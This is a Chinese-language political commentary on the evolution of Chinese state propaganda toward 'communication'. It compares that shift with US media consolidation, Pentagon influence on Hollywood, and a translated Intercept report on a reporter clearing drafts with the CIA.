就像主导宣传的“主题片”能迅速拿到资金，科研领域也一样，钱放在哪里，哪里就能激发出创造力。人民日报要“几个亿”其实不那么惊人。对比美国，当年一个最著名的丑闻就是，美国国务院秘密资助了全国舆论研究中心（National Opinion Research Center）有关美国大众舆论的研究，这笔资金使得该中心开展的调研工作首次具备财务可行性。这显然是非法的；另一个例子是，中央情报局暗中资助社会科学研究所（Bureau of Social Science Research）关于酷刑的心理研究，在这项研究中刑讯逼供被理解成了社会心理学原理在传播中的应用……（* House Committee on Government Operations, State Department Opinion Polls, 85th Cong., 1st sess.*）

你在亚马逊看到的那些关于政治宣传的中国学者写的新书，如此密集出现，很可能其背后存在定向的资金支持。但是我们没有证据，具体细节也无从得知。

资金自身不能创造一个持续性的学术潮流，但是资金的支持却可以保障某一套被赞许的范式顺利展现其观点、打磨其学术体系、发展其知识框架，从而获得与其他学术建构尝试的竞争优越地位。显然，这一发展的方向将取决于钱来自哪里。

第三，北京明显已经意识到了互联网时代信息无法通过漠视来掩盖这一事实，于是他们建议央媒主动报道此前被视为“敏感”的消息，比如群众抗议。这可不是什么改革，而是一种掌控宣传主动权的进化。当局的想法是，由于政府全权掌握的央媒宣传口径缺位，才造成了“无法掌控的”民间消息的流行。此处的逻辑与欧洲数据保护新规反而会加强 Facebook 和 Google 的霸权之逻辑，相一致。你可以在这里看到相关分析。

由于垄断的巨头是“老牌企业”拥有广泛的知名度，于是最终人们的权衡结论依旧会是硅谷巨头，而不是开源去中心初创小公司。同样，央媒的受众面之广，几乎没有任何其他媒体能企及，如果央媒能在第一时间跟进所谓的敏感事件的报道，将在很大程度上掌握舆论引导的主动权 — — 它们的影响力辐射将覆盖绝大部分民间独立信息源。这是一种对信息市场的不平衡的抢占。尤其是在中国，人们对独立媒体的无知和淡漠、对确证流程的忽视，具有明显的普遍性（看看“头条新闻”、“梨视频”等党媒变身平台的受众面就能知道）。

其结果就是，给所有人一种新闻自由的假象；小规模抗议被迅速维稳；民间转向对国内媒体的依靠（毕竟他们没那么多禁令了）而不是远在天边无法“在场”的国际媒体（曾经不止一位读者将央视焦点访谈的消息推荐给本平台，不要笑）；舆论可以在短时间内出现热潮，但迅速被新的消息所覆盖，当权者可以充分利用互联网舆论之冲动短视的天然属性，从而不需要解决任何根本性问题。

「图」

第四，当局开始对话柄产生了敏感性。央视审判就是典型一例。国际社会对中国人权的批评经常引用央视审判，北京自然不喜欢这类评价，给当前所谓中国模式的输出制造了障碍。但要知道，即便取消了央视审判，也不等于真的有了法治，司法不独立的情况下就无法实现公平公正。但是话柄没了，同时只要没人能拿到司法不独立的切实证据，于是宣传便可一路畅通。

第五，关于 Twitter，你不需要想太多。中国一直在打造一个独立的、追求与硅谷同等的集中化控制网络，Twitter 只是硅谷目前为止还没有努力跻身中国市场的巨头特例。在特朗普的社交媒体外交模式饱受西方社会批评的大背景下，习近平是不可能登陆社交媒体的。于是，中国央媒使用 Twitter 图片显然不会被涉外部门满意，不仅仅是 GFW 的问题。北京要在外观上追求与华盛顿面面俱到的不同，与此同时，也在偷偷地效仿。

第六，关于删帖的问题，值得多说几句，因为这正是广大中国异议的严重弱点，即被恶意愚蠢侵害。直到如今，依旧有很多人将“被删除、不可见”视为光荣和价值所在，视为正确和真理的代名词，以此认为自己的观点和言论已经足够令当权者恐惧。

其实事实上正相反，很多被删除的言论其操作方只是避免被网信办约谈的平台和推测上方意图的宣传机构，就如此次讲座中的指责所透露的那样，当权者并没有受到那些被删除言论和资讯的侵扰，相反还得

到“进化”，而广大异议如果仍停留在视删除为荣的层面上，这一落差将意味着在对策阶段就输了。

就在不久之前，刘晓波遗孀刘霞女士前往德国这一消息出现时，仍有舆论误传刘霞之名被审查，事实上并没有，这种误传甚至出现了迅速传播，立刻被外媒获知，而这正是中国当局所希望的结果。此事体现了大众的基本认识，也因此意味着难以获得真正有效的反抗。再举个例子，每一个阴暗政府都担心秘密被曝光，机密是权力的支撑物，是当权者构建符合其利益的“事实”的必需，中国当局曾经背后对 Wikileaks 非常紧张，而 Julian 的名字一直不在中国审查的敏感词列表内，正是因为上层没有对基层的审查员指明这点，而平台上构建关键字过滤器的操作员大多是刚毕业的小朋友，他们只是听指挥，根本不理解 Wikileaks 意味着什么。如果中国异议认为其不在敏感词列表之内，就此误解"透明度革命"的威力，将错失重要的机会。

延伸阅读：他说，“我们现在是一个帝国，我们采取行动时，我们就是在创造一个自己的现实。而你们研究现实 — — 审慎研究的时候 — — 我们已经创造出另一个新的现实了，然后你们接着去研究，这才是问题解决的方式，我们是历史的行动者 .....而你们，你们所有人，只能跟在我们屁股后面研究我们的所作所为”..... 这是一位资深总统顾问对记者的抨击。中国当局目前所采取的就是这一思路。"//原文在这里//"

集中化的互联网时代是一个能准许表面化“言论自由”的同时，还能操纵所有人的认知的时代。多年前人们就已经熟知，互联网让每个人都能发言，但只有很少人能被听到，大多数人不过是在和树洞说话，难以起到舆论的实质作用。而谁能够被听到，只需要修改几个算法。那些不透明的算法掌握在数字极权手里，就如棱镜文件所展示的那样，他们与现实中的当权者密切配合，宣传诱导在无形中已经形成。

延伸阅读：关于舆论引导 “"//特朗普和克林顿在美国大选前 Facebook 政治宣传上花费了 8100 万美元，俄罗斯代理人花费了 46,000 美元//"”

当你打开电脑，所有平台推送的 news feed 如出一辙、全部都是来自宣传口径框定后的信息不过是选取了不同的侧面时，所有搜索引擎展示的都是同样的消息时，你在不同平台上看到的热点舆论几乎一样时，你不可能再获取真相。算法可以控制“独立媒体和独立信息渠道”的被获知度（如果那些独立媒体还能活着的话），对真相之生存的压制已经不仅仅来自资金层面。

传统的、依靠特定渠道的单向宣传已经过时，而央媒不会消失，它们会作为一种镜映的存在，对外解读，对内维稳。这就是此次国社内部讲座所传达的东西，一种定位的信息。

第七、“以华盛顿邮报”等美国体制内媒体为榜样。该主讲人说出了关于宣传 — — 也就是我们曾经重点分析过的劝导术的精髓：即 完美的宣传就是让人感觉不到那是宣传。

上述“独立媒体和独立信息渠道”是打了引号的，因为中国没有真正的独立媒体 — — 那些不需要受制于投资方、市场和政治之压力的信息机构，从而在任何时候都有说实话的能力。而独立信息渠道这个词有理想化成分，也是可疑的，不仅在中国，在美国也是如此。

如果你做一些调查就能了解。如今的信息渠道看起来非常多，目不暇接，也许会被认为是传统媒体衰落的一个因素。但是，实际上许多的博客、网络杂志和在线新闻机构所做的只是把那些传统媒体所做的越来越少的新闻内容拿出来炒炒冷饭而已。皮尤调查中心曾经有一个很著名的调查，以了解巴尔的摩地区的政治、社会和公共活动的讯息都来自何处。共选取了53个不同的媒体机构，跟踪这些信息源就会发现，其中 95% 的新闻内容均取材于传统媒体的原始信息，而大部分原始信息来自报纸。

而与此同时呢，该地区唯一一家幸存的报纸《巴尔的摩太阳报 Baltimore Sun》的发稿量在 1999年 ~ 2009年之间下降了 32%，与此前相比大幅下降了 73%。

看似丰富的网络信息实际上不过是传统信息渠道的冷饭，只是炒法不同，真正的独家信息是非常少见的，基本集中在主流媒体的范围内。即便私人拥有瞩目的独家消息，也很难获得足以推动社会舆论的能力，他们需要与掌握信息市场显要份额的主流媒体配合。于是，谁控制了主流媒体，谁就能控制大众对“现实”的认知。

控制主流媒体并不需要一个宣传部。既然该讲座的主讲人建议中国央媒学习华盛顿邮报的宣传模式，那么就以美国体制内媒体为例。美国没有宣传部，但几乎所有主流媒体均采取了权力传声筒的角色，而不会对权力的声音加以质疑，不论是战争宣传、气候问题还是权力斗争。为什么会这样？

其实不难理解。与政府及其强大实体保持一致对于记者的职业生涯一定会非常有利。如果你是记者，帮助当权者说话 ，你可以肯定会获得头条新闻的机会。如果你想寻找认真对待事实的记者，用心挖掘真相

记者，将非常困难，因为这个时代所有人都在为自己的利益奋斗。没有宣传部，权力对“现实”的独家解释权同样没有被侵犯。

延伸阅读：来自意大利著名调查记者 Stefania Maurizia 的分析《为什么美国媒体帮助当权者抹黑曝光权力阴暗面的人》，以及普利策新闻奖得主 Glenn Greenwald 和 M.C. McGrath 的揭露《伪劣报道和有目的的政治宣传如何扭曲了现实政治》，其实我们也在此前以战争宣传的新闻为例分析过这一问题，见《媒体，你真的知道什么是事实吗》

真相和权力从来相斥，即便携手也会非常短暂，严格意义上这要从权力的运作方式说起，今后另起篇幅。

政治宣传根本无需明确的审查和禁令

我们无法推测这一宣传进化的终点是什么，但必须肯定，一个开端正在出现。也是这篇报道和针对性解析使用了如此长篇幅的原因，中国社会必需尽快跟上这一进度，因为，无疑将陆续出现很多你此前未曾想到也难以应付的状况。

很明显，Propaganda 正在向 Communication 转向。Communication 这个词在14世纪才引入英语的，源自拉丁文的“com（一起）”，和“munia（职责）”，意为“共同担责”。根据这个传统的定义，“传播”被视为特定社会环境中——通过文化交往、仪式或交换——与他人分享的过程，其目的是被接受和认同，如今主要当作发号施令的媒介一点都不奇怪。

传播的本质就是将一己之想法强加于他人尤其是大众的有效工作。而宣传是其更为直截了当的描述方式。从战时的心理操纵术过渡到日渐兴起的大众传播工具，其本质并没有改变。

于是，另一点可以肯定的是，中国的‘宣传 — 传播’不会停留在本国或国外，它将朝着普遍的方向迈进，也就是传播的本意，与心理战的界限无限模糊。

心理战是一种帝国管理的工具，远不是其声称的解决冲突的工具。其主要功能是压制和曲解人民大众中非官方的传播活动、异议。任何一个使用这种战术的国家都一样。

孙子有“不战而屈人之兵”的说法，经常被西方国家的军事评论所引用和赞颂，心理战在最初是被描述为实施孙子之策略的工具，但它不完

全如此。在实践中，现代心理战和宣传手段很少会作为暴力的替代手段而使用，相反，它是持强凌弱的战略与文化的有机组成部分。

在这种思路中，胁迫和操纵被冠以传播之名，挤压其他的、理解传播之真意的机会。心理战的问题不能单纯从某一个机构或某一个国家的角度去分析，对其研究需要一个合理的全球视角。

中宣部和广电总局的存在是非常愚蠢的，它直接将“审查和宣传”写在了脑门上。其实完全不需要这样的部门也能获得一模一样的大众认知操纵之“成效”。还是以美国为例，纽约时报曾经报道了情报部门如何使用外包（如下），实施在线抹黑和舆论操纵，而这远远不是全部。

延伸阅读：《"//美国情报机构如何使用间谍工作外包操纵大众认知//"》《"//美国的网络水军是什么样的//"》（后一篇是英文）

就在昨天，最新的解密文件显示，五角大楼一直秘密地指导（操纵）数百部好莱坞电影的幕后工作 —— 在电影中植入隐性宣传。也正是央媒培训主讲人所要求的“让人看不出是宣传”的本意。

报道说，公众一直在为自己能生活在一个言论自由的反审查社会而感到自豪，但事实上却是，他们消费的媒体完全受制于更多本土的国营宣传，而人们完全没有意识到这点。

这篇报告的作者是 Tom Secker 和 Matthew Alford，揭示了五角大楼和中央情报局与好莱坞合作的计划实际上有多么大，该报告基于通过信息自由法案获得的大约 4,000 份机密存档文件。“这些文件首次证实，美国政府在幕后操作了 800 多部主要电影和超过 1000 个电视节目。”

当好莱坞作家或制片人接近五角大楼并要求获得军事资产以帮助制作电影时，他们就必须将自己的剧本提交给“娱乐联络处”进行审查。有最终决定权的人是国防部（DOD）首席好莱坞联络官 Phil Strub，他一直担任这个半秘密部门的掌舵人。

报道说，如果剧本中有国防部不赞成的角色、动作或对白，那么电影制作者就必须做出改变以适应军方的要求。如果拒绝，电影就无法拍摄。为了获得充分的合作，电影制作者必须签署合同，称为“生产协助协议”，承诺使用被审查满意的版本。

当中国人和全球各地的好莱坞影迷欣赏优美如画的电影时，没人会知道这些内幕，人们愉快地接受了电影作品中所传达的一切讯息。这就

是“传播-宣传”最有价值的发挥。而中国被广电总局盖章的作品，不论其被修改的程度如何，也相当于直接承认了有意宣传的存在。这是无比笨拙的老旧模式。

不幸的是，中国宣传部门已经意识到了这点，想必不久，人们将面对的逐渐不再是硬性剪辑删除，而是“无痛洗脑”。如果现在还没能重视起来的话。

原文

用钱杀死民主 [video] - iYouPort

关于真实的“媒体”-真相衰变

真正的新闻业并不是一个优先事项，钱才是。资本是如何杀死民主的？中国目前正处在这一危机时刻……

如今的地方新闻不再是曾经那样了。

这一切始于，当你家乡的报纸死亡。网络媒体行业—— 即 中国正在大力推动的“融媒”—— 加剧了这种情况，因为报纸只忙于解雇现有的记者，无法花费大量时间来扩展本地报道。现在，本地新闻业的最后堡垒，即 地方电视广播公司，正在越来越多地被大公司所掩盖，对于这些大公司来说，"真正的新闻业并不是一个优先事项"，钱才是。

斯坦福大学和埃默里大学的一项新的联合研究表明，这种转变对公众、公共话语和民主进程产生了深刻的负面影响。研究人员发现，优质本地报道的侵蚀不仅使公众难以了解真实的情况，而且整个社会比以往任何时候都更加分裂。

这项完整的研究，现在经过同行评审并已在美国政治科学评论中发表，该研究对辛克莱广播集团产生了特别的兴趣，辛格莱广播近年来一直备受抨击，因为它一直在努力收割地区广播公司，让自己取代那些已经摇摇欲坠的当地广播公司。其生成的报道并不是新闻，"只不过是高端的宣传"。

去年，辛克莱强迫这些当地广播公司播出同质化的、事实可选的“必须运行”片段，以追求金钱为唯一目标，放弃一切捍卫事实的努力。Deadspin 在实践中证明了这一点。

在这里看到视频：

埃默里和斯坦福大学的研究分析了2017年后的743个地方新闻台的内容和收视率，分析了大约741万个2.5分钟的片段。该研究发现，当辛克莱收购当地新闻媒体时，毫不奇怪的是，全国新闻报道明显飙升，实际本地报道显显著下降。

通常这仅仅被认为是成本问题。覆盖当地市政厅、政治运动和地区问题的报道往往需要大量的工作，大公司不愿意大规模支付这些调查。最终的结果是，公众再也无法真正理解他们自己的城镇所发生的事，为当地政客的政治宣传和各种弊端敞开了大门。

“从长远来看，这种整合有可能为大型媒体集团的所有者提供重要的权力，并降低选民对当地民选官员监督的能力，”研究作者 Greg Martin 在一封电子邮件中告诉 Motherboard。

该研究发现，在辛克莱收购当地广播公司之后，收视率往往下降，这表明观众实际上并不喜欢这种偏离真正本地问题的报道。但由于同样的现象很可能在其他当地的广播公司和报纸上被复制，结果就是，如果公众想要在其他地方了解事实，他们会发现完全没办法。

其他研究表明，当一个城镇失去当地报纸时，居民倾向于更多地依赖高度两极化、纯粹党派化的全国性报道，跨党派投票的可能性会明显降低。

一项研究特别发现，当一家当地报纸关闭时，选民投票选举总统和参议员在同一党派的可能性要高1.9%，而不是跨党派投票。这似乎没有统计意义，但研究人员指出，以某种方式推动选举就已经足够了。

换句话说，当你依靠全国性的，极端分化的新闻告诉你知识时，你更有可能陷入陈旧的党派互斗风格，并且不太可能真正权衡个别政治家或问题的实际优点。反过来，这只会放大现有的根深蒂固的意识形态，使我们不太可能关注新的可能性。

宾夕法尼亚大学的美国媒体研究学者 Victor Pickard 告诉 Motherboard，这种持续的转变在很大程度上要归功于美国联邦通信委员会决定积极推翻数十年来专门用于防止我们看清目前存在的问题的媒体整合规则—— 这正是中国"正在大力推动的“融媒”之危险所在"，也是为什么说中国人是相比下幸运的，因为中国采取的绝大部分策略都并非创新，而是复制，就如目前启动的对媒体的资本控制，在美国已经持续了几十年并呈现了清晰可见的侵害，如今中国正在开始这一过程，于是只需要中国公民参照其他国家的相关历史就能理解并防备这种方式的侵害。

“研究表明，那些无法获得可靠的本地新闻的人，对政治知之甚少，社会参与度更低，投票的可能性更小。如果没有当地记者，对地方政府的腐败以及管理不善的公民问责能力也会减少。全国范围内出现大量”新闻沙漠“是一个巨大的社会问题，需要持续的公共政策反应。

Sinclair 去年因为以40亿美元收购 Tribune Media 而成为头条新闻，这将使 Sinclair 拥有大约230个本地广播电台，占美国家庭收视的72%。但辛克莱的做法被视为令人难以置信的误导，即使是业界联盟的 FCC 也被迫退出交易。

尽管如此，在达成协议之前，联邦通信委员会还是删除了许多旨在保护当地媒体完整性和多样性的规则。由于在线新闻的兴起，这些是FCC试图声称“不再需要“的规则。但同样，这些新媒体帝国往往缺乏资金、兴趣或激励来跟踪当地问题。

Martin 指出，寻找替代资金机会将成为未来十年的重点。

“监管压力也可能迫使谷歌和 Facebook 与媒体分享更多的广告收入，”他争辩道。“ProPublica 或刚刚推出的奈特基金会项目等团体已做出一些努力，以支持非营利性的本地新闻。”—— 新闻原本就应该是事业，最致命的杀戮正源于将其变成了产业。

保护多样化的本地新闻不仅对于国家的健康和福利尤其重要，并且，这正是民主本身的根基。

The Death Of Local News Is Making Us Dumber And More Divided. There’s a steep price to pay for mindless media consolidation and the elimination of quality, local reporting, according to a new study. 广告

原文

电子邮件被曝光：揭示记者主动接受情报部门的审查，这究竟是为什么？ - iYouPort

关于真实的“媒体”-真相衰变

你知道为什么我们读到的新闻报道很多都是错的吗？为什么中国人看到的电影和美剧中的关于情报机构的形象甚至是违背事实的？这里应该能找到答案。

「图」

关于体制内媒体的样子恐怕很多人都不陌生，至少早在五年多前，斯诺登就明确拒绝和主流媒体合作，而选择了当时是独立撰稿人的 Glenn，是因为他知道，主流媒体很难摆脱政府的威胁，从而很容易将他用生命换来的文件付之一炬。

根据 Glenn 的记录，当时斯诺登频频提到一些主流媒体按照政府的要求对一些重大事件噤声的现象。Snowden 不能冒着文件被扭曲成为政府的话柄的风险，因为他知道，主流媒体做得出这样的事。

中国人都了解中国的体制内媒体是接受中宣部和外交部审查的，美国的体制内媒体也被权力部门审查，但基于的不是政策，而是保密性潜规则。这些规则已经年深日久 — 至少从下面的报道中所呈现的电子邮件日期你能发现这点。不了解并不奇怪，以前这些东西都被保密起来了，我得知这件事的时间也只有五年而已。感谢信息自由法案，能让更多人了解到至少一部分真实的内情。

这些潜规则所造成的政府审查丝毫不差中国那种编制内审查，因为它背后有法律。按照这些规则，政府要控制媒体披露哪些信息，并降低甚至消除由此所产生的影响，因此编辑在发稿前需要首先去拜访官员，告知他们即将发布什么新闻。国家安全部门的官员再告诉编辑们，以所谓的国家安全为名，哪些信息应该被删除。接着双方会花时间讨论，以确定“能够”最终见诸报端的内容还剩下些什么。

最幸运的情况是发稿时间被大大拉长，并且，基本毫无悬念的是，所有被认为是敏感的信息 — 也就是最具新闻价值的信息 — 全部都会被

过滤掉。

正是由于这个原因，2005 年华盛顿邮报在报道美国海外黑监狱的消息时，隐藏了这些监狱所在的国家，从而使得中情局的黑监狱能得以继续存在。

基于同样的原因，纽约时报将该报两名记者 Jim Risen 和 Eric Lichtblau 在 2004 年中旬- 也就是 Snowden 曝光之前 — 就准备报道的国安局非法监听项目的新闻稿，压制了超过一年之久。时任美国总统的布什把该报发行人 Arthur Sulzberger 和主编 Bill Keller 叫到了总统办公室，吓唬他们说“如果发布这篇报道就等同于帮助恐怖分子”。

当时的纽约时报听从了这些指示，并将稿子压制了 15 个月之久，直到 2005 年底，布什竞选连任成功才得以发表 — 从而帮助了他的连任。最终发表的稿件中掩盖了布什未经授权就监听美国民众的劣迹。

不仅如此，还有体制内媒体在讨论政府不当行为时的基调问题，相信我们在上一篇文章中已经对此有了一定描述。这也是有原因的。

美国传统文化要求记者避免直白或陈述性的报道，不管看起来有多无聊，都必须在报道中插入政府声明，以示尊重。这就是被华盛顿邮报专栏作家 **Erik Wemple** 讽刺为“中庸之道的表达方式”：被要求绝对避免任何定论性的语言，而同时报道政府的回应和所谓的“真实情况” — 其实就是被权力书写的“事实”。也因此，爆料内容给读者的感觉就是一团麻、支离破碎毫无头绪。

最要命的是，他们总是过于强调官方声明，即使那些声明荒诞离谱、充满欺骗性，也在所不惜。这点也是我们上一篇文章中的重点。

还有一条潜规则也是用来保护政府的，即媒体只能发表这些被称为机密的文件中的一小部分，然后就此打住。比如 Snowden 文件，主流媒体可以就其中一份文件发表几篇报道，然后在“重大爆料”的赞美声中一走了之，确保不会带来什么真正的改变。

这就是为什么 Snowden 明确拒绝与主流媒体合作，他冒着生命危险揭露是为了引起人们的重视，以实现真正的变革，而不是给媒体养版面。

前面说到这些潜规则之所以比正式规则还强大，是因为背后有法律，该法就是“反间谍法”。

所有媒体机构都有自己的律师，律师们就是用来权衡这种事的，简单说就是另一层审查。律师们会警告“这种消息最好别发出来，因为敏感，有可能触犯反间谍法”。

当时华盛顿邮报的律师就是这样阻止该报一位准备去香港见 Snowden 的记者的，并且拒绝给他差旅费。律师称，由于香港地位敏感，美国政府会认为该报将消息透露给了中国，因此导致反间谍法被派上用场。

简单说就是，所有当局不愿意被曝光的内容都贴上了“机密”标签，只要有人敢曝光，就可以依照“反间谍法”给其扣上“监督”的帽子。

根据 Glenn 的记录，Snowden 对此怒不可遏。他置生命于不顾，只是为了将真相和盘托出。他个人没有任何保护措施，可这样一个拥有法律机构支持的大型媒体却不愿意承担一丝风险，甚至不能派一位记者来香港一趟。这种典型的唯唯诺诺、不愿冒险、唯政府之命是从的行为意味着，这些主流媒体不会违反当局的任何潜规则。

这些背后的事实至少被明确了已经有五年多，而被讨论的时间有十几年之久 — 十几年前的传媒教科书中就有对此的简要揭示。但万万没想到的是， **The Intercept** 这篇报道中所呈现的景观：部分记者以接受审查为荣，甚至站在当局的利益角度为权力出谋划策。

包括我们在内的所有捍卫新闻自由的人们都会坚称，审查是政府施加的压力，新闻人是受害者，我们应该站在媒体记者一边全力阻止审查。这是完全正确的。然而事实证明，部分记者已经顺服于审查，甚至乐于讨好权力部门，他们已经离开了新闻自由捍卫者的队伍。于是格外令人痛心。

第一修正案保护新闻自由。没错。但正如隐私安全技术人士曾经所说：第一修正案是第一修正案，美国是美国，事实证明他们可以做到把它两码事。这一可怕的结论现在在传媒界再次得到了验证。只剩下痛心。

美国记者们受到过惊吓，他们变成现在的样子似乎也是可怜的。虽然他们在目前当局誓言起诉独立媒体这种疯狂的举动下丝毫没有起到媒体当有的职能，甚至通过鹦鹉学舌帮助当权者抹黑独立媒体 — — 简单的兔死狐悲逻辑也足够理解，这种情况下传媒业应该联合起来抵制政府的疯狂行为，因为一旦一家媒体被起诉成功，整个传媒业将从此被冰封，新闻自由的概念将从此被改写。

至少一个已知的案例足够显示记者们受到过惊吓。就在 Snowden 曝光的几周前，司法部获得法庭指令，可以浏览美联社记者和编辑们的电子邮件，以查找为媒体爆料的人的身份 — — 为爆料人的身份保密是媒体的主要职责之一，也是人们是否能信任媒体的依据。

几乎紧接着，一则更惊人的新闻指出，司法部曾向法庭宣誓提交文书，控告福克斯新闻华盛顿分部主任 James Rosen 在某个爆料人所谓的“罪行”中是“同谋”，理由是 Rosen 曾与该爆料人携手获取信息。

众所周知，记者和爆料人合作是新闻业的常规工作流程之一，因为如果不合作就不可能拿到信息，没有信息就没有新闻。然而司法部的控告却将新闻标准流程转化为了犯罪。此事令所有媒体都变得谨小慎微、诚惶诚恐。这就是为什么那几周后 Snowden 的出现，卫报的律师警告该报的记者不要接触 Snowden，因为很可能会被反间谍法套住（当时 Glenn 是卫报作者，他对 Snowden 的报道最便捷的渠道是能在卫报发表，而 Snowden 是不同意任何主流媒体的）

这是多么荒谬的事。中国记者从来没有曝光过政府真正的秘密，如果有人敢这样做，也同样会触犯中国的反间谍法。然而故事不应该就此终结，绝不能，新闻自由不允许任何形式的压制信息发布行为。我们需要更多记者能站出来，和权利组织站在一起维护新闻业的基本生命，维护民主的根基，而不是被吓倒，心甘情愿变成权力的附属物。

这就是 The Intercept 这篇报道的主旨。也是我们为什么要翻译它。很多中国读者在中国本地找不到真正的新闻，他们高度依赖美国主流媒体提供的信息来认识这个世界。他们如此可怜，美国主流媒体不应该欺骗他们，更不应该欺骗美国公民，那些手握选票以决定这个国家的命运的人们。他们有权也应当获得真实的信息，才能作出正确的决定。

存在审查的地方就没有真相。

以下是该报道的中文版。

"THE CIA’S MOP-UP MAN: L.A. TIMES REPORTER CLEARED STORIES WITH AGENCY BEFORE PUBLICATION"

Ken Silverstein

September 4 2014, 6:22 p.m.

根据 The Intercept 获得的文件，洛杉矶时报国家安全著名记者在发

稿前定期向 CIA 提交预报道的文章草稿和详细摘要。CIA 公共事务官员与记者 Ken Dilanian 之间的电子邮件往来显示，他们保持着密切的合作关系，明确承诺“积极的”新闻报道，有时甚至将整个新闻办公室的草稿在出版前进行审查。

至少有一次，中情局的反应导致了最终在“泰晤士报”上发表的这个报道被高度修改。要求审查的邮件写道：“我正在研究一个关于国会监督无人机攻击的报道，这可以为你们（CIA）提供一个很好的机会”……然后他发送了一份完整的未发表报告的草稿说：“这看起来更好吗？”

「图」

by The Intercept

Dilanian 的电子邮件被收录在中情局为响应两项 FOIA 要求记录该机构与记者互动而上交的数百页文件中。其中还包括与美联社、华盛顿邮报、纽约时报的通信邮件，这些文件还显示该机构定期邀请记者到其位于弗吉尼亚州的总部进行简报会和其他活动……

曾向 CIA 发送草稿接受审查的记者包括华盛顿邮报的 David Ignatius，纽约时报的前监察员，NPR 和华盛顿邮报，以及 Fox News 的 Brett Baier，Juan Williams 和 Catherine Herridge。

去年5月，Dilanian 离开时报加入了美联社，和中央情报局对话的电子邮件仅涵盖了他在时报任职期间的几个月。邮件表明，2012 年 6 月，在 26 位国会议员写信给奥巴马表示他们对该无人机计划“深为关切”后不久，Dilanian 向 CIA 询问关于他为政府提供了一个“好机会”的报道。

立法者的回信是在一连串无人机袭击之后发出的，据报道，这些袭击造成了数十名平民丧生。暗示国会没有对该计划进行有意义的监督。但是 Dilanian 写道，“我信任的人可不是这么说的”。然后他补充道：

> 我认为，这样的报道不仅会让公众放心，而且它也是一个探索错误信息的机会，有时会从当地媒体报道中发现的关于空袭的错误信息。你说三人被杀而不是十五人是一回事，有两党的国会助手支持你是另一回事。如果你能帮助我实现这个目标，报道的部分内容将变成：引用国会官员的话说，我们非常小心地避免了附带损害，并且广泛的平民伤亡报告根本就是错误

的。

当然，记者经常通过打算放大官方观点这类虚假的暗示来讨好政府消息来源（和其他人）。但电子邮件显示 Dilanian 所表达的真的就是本意。

在接下来的两周内，他发送了额外的电子邮件，要求该机构提供协助和信息。在其中一篇文章中，他提出新美国基金会的一份报告称“无人机袭击造成许多平民死亡” 这是被夸大了，并写道该报告 “完全错误，对吧？”

一些早期新闻账户报道称，2012 年6月4日，十几人死亡，无人机袭击造成巴基斯坦基地组织领导人 Abu Yahya al-Libi 死亡。但在 **6** 月 **20** 日发给中央情报局的电子邮件中，**Dilanian** 在他的报道草稿中摘出了一句话，“称只造成 **al-Libi** 一个人死亡。 “"这回满意了吗"？”他问中情局新闻官。

「图」

by The Intercept

6 月 25 日，“纽约时报”发表了 Dilanian 的那篇报道，描述了国会对无人机计划的‘彻底审查“，并表示国会可以观看高质量的袭击视频，并查看用于证明每次攻击的情报。显而易见，CIA 并没有反驳 Dilanian 对“只有 al-Libi 一人死亡”的描述。Dilanian 的报道说，中央情报局向国会监督员提供的视频“显示 al-Libi 独自被杀。”

该报道随后就被揭穿了。 2013年10月，国际特赦组织根据目击者和幸存者的声明发表了一份报告，指出第一次针对 al-Libi 的导弹袭击造成 5人死亡，4人受伤。Al-Libi 甚至不在上述这些受害者之中; 当援助组织抵达现场协助遇难者时，al-Libi 和另外15人在后续的袭击中死亡。

一些被杀害的人很可能是基地组织成员，但其中有六人是当地部落成员，大赦国际认为他们只是救援人员。另一份同时发表的实地报道（是由调查新闻局发布的），也指出了对无人机袭击平民和救援人员的后续行动 — 构成战争罪的袭击事件。

Dilanian 做过一些有力的工作，有时对中央情报局来说非常重要。例如，2012 年 7 月，他撰写了一篇关于该机构性骚扰事件的文章，激怒了新闻办公室。Dilanian 在回复发言人发来的电子邮件时表示，对

于他的报道的抱怨“特别令人惊讶，因为中央情报局将这些投诉的细节隐藏在背后的保密墙里。”

但这些电子邮件揭示了他与该机构非常高的合作关系。“我期待着与您合作，Ken，”这是一个新聘用的 CIA 新闻宣传员给 Dilanian 写的电子邮件，日期 2012 年3月1日。

“万岁！很高兴有你们“，Dilanian 在回复中写道。

2012 年 3 月 14 日，Dilanian 向新闻办公室发送了一封电子邮件，内容与卫报的报道有关，Bashar Al-Assad 的妻子一直在亚马逊购买火锅，而叙利亚示威者被枪杀。“如果这是你们干的，干的很好，”他写道，“如果它是真的，甚至更好。”

这封电子邮件还显示，**Dilanian** 在发布报道之前与 **CIA** 分享了他的草稿，并邀请该机构进行修正。2012 年 4 月 27 日星期五，他向新闻办公室发送了他和同事 David Cloud 正在准备的新闻报道的草稿。邮件的主题是“这就是我们即将要做的东西”，并问如果“你们想要驳回其中哪些细节的话”。

「图」

by The Intercept

看起来该机构确实驳回了。 2012年5月2日，他通过电子邮件向中央情报局发布了一个新的开场白，主题是“这次看起来更好了吗？”

这篇文章在 5 月 16 日被发表，虽然与早期版本有相似之处，但已经明显不同了。

这里是 Dilanian 的电子邮件里显示的原始报道草稿中的开头文字：

> 美国官员和熟悉这一秘密行动的其他人士说，中央情报局官员、私人承包商和特种作战部队已被插入也门南部，与当地部落合作收集美国无人机对武装分子袭击事件的情报。

这里是最终被发布的版本：

> 美国在也门的秘密战争升级，美国和也门的官员说，由于政府军正在打击基地组织激进分子和其他反叛分子在南部的活动，所以美军一支小队正在为也门空袭

提供目标数据。

在另一个案例中，Dilanian 于 2012 年5月4日向 CIA 新闻办公室发送了一份报道的草稿，该报道称美国情报部门认为塔利班在阿富汗日益强大。他在邮件中写道：”伙计们，如果没人想要权衡，我就要提交这份报告了。“

2012 年 5 月 7 日，Dilanian 的现任雇主爆出了一个关于中情局秘密行动的报道，该行动“阻止了基地组织在也门的一个雄心勃勃的阴谋，该阴谋是摧毁一架飞往美国的客机”。第二天，Dilanian 向中央情报局提交了一份计划发布的稿件的详细摘要，该摘要是跟进美联社的报道（并且提出了质疑）。

他在邮件中写道：“这就是我们正在计划报告的内容，我想确保你不会反驳任何细节”。

不止新闻审查，这里还有电影审查。Dilanian 还与中央情报局在 2012 年 5月 的一次报道中紧密合作，尽量减少了该机构与导演 Kathryn Bigelow 和编剧 Mark Boal 关于暗杀奥萨马本拉登的电影《Zero Dark Thirty》的合作。共和党人一直批评奥巴马政府向 Boal 和 Bigelow 透露关于该行动中的“机密”细节，同时阻止这些信息向公众开放。

